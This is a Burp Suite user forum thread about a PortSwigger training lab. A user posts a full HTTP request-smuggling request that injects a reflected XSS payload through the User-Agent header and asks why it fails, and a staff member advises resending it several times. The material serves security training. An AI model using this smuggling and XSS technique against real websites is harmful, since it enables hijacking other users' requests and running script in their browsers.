Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Lab Issues: Exploiting HTTP request smuggling to deliver reflected XSS

Lingl, | Last updated: Jan 27, 2022 09:55AM UTC

Even with the sample solution I am not able to solve the lab. The funny thing is that I can trigger the alert function when refreshing the page in my own browser. So the exact same thing should work for the virtual victim, but this is not the case. Reproduction: https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss Exploit: ``` POST / HTTP/1.1 Host: my-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1 ``` Anybody facing the same issues?

Ben, PortSwigger Agent | Last updated: Jan 27, 2022 12:15PM UTC

Hi Tobias, I have just run through this particular lab and was able to solve it successfully using the solution provided. I did have to send the request containing the payload several times in order for it to solve - are you sending the request more than once whilst also refreshing the lab page itself?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.